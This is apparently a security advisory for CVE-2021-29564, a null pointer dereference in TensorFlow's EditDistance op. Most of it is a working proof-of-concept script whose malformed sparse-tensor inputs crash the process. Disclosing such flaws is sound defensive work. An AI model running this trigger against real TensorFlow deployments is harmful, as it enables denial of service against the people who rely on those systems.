CVE-2021-29564: Null pointer dereference in `EditDistance`
(updated )
An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.EditDistance:
import tensorflow as tf
hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
tf.raw_ops.EditDistance(
hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
truth_values=truth_values, truth_shape=truth_shape, normalize=True)
